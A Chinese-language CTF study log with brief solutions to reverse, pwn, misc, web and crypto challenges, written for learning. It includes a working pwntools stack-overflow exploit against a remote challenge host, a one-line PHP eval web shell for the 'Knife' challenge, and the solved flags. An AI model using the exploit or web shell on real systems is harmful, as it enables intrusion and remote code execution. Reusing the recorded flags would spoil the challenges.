2.7学习记录
re
[WUSTCTF2020]Cr0ssfun
得到附件先查壳
无壳elf64位文件，放进ida查看主调函数
往下追踪，发现7部分相似的结构，给的数字看上去像是ASCII码，对照码表把7部分串联起来
得到：wctf2020{cpp_@nd_r3verse_@re_fun}
pwn
rip
先查壳
发现没有保护，64位elf文件，放ida里看看
发现后门函数，在主调函数处发现gets函数，存在栈溢出
控制程序返回到0x40201B，就可以得到系统的shell了
exp
from pwn import * #调用pwntools库
r = remote('node3.buuoj.cn',27542) #远程连接
offset = 0xF + 8 #偏移量
payload = offset * 'a' + p64(0x40201B) #漏洞利用
r.sendline(payload) #发送漏洞
r.interactive() #远程交互
misc
LSB
这题题目是校徽，根据提示猜测是lsb隐写
采用stegsolve工具
调整最低位宽，之后点击Save Bin保存文件，发现是个二维码，用cqr扫描即可
web
[极客大挑战 2019]Knife
根据提示构造木马
/?<?php eval($_POST["Syc"]);?>
之后用蚁剑连接即可
找到flag了
crypto
Alice与Bob
题目描述很有意思：密码学历史中，有两位知名的杰出人物，Alice和Bob。他们的爱情经过置换和轮加密也难以混淆，即使是没有身份认证也可以知根知底。就像在数学王国中的素数一样，孤傲又热情。下面是一个大整数:98554799767,请分解为两个素数，分解后，小的放前面，大的放后面，合成一个新的数字，进行md5的32位小写哈希，提交答案。
用在线工具分解
安装题目要求排列一下即可，得到flag{d450209323a847c8d01c6be47c81811a}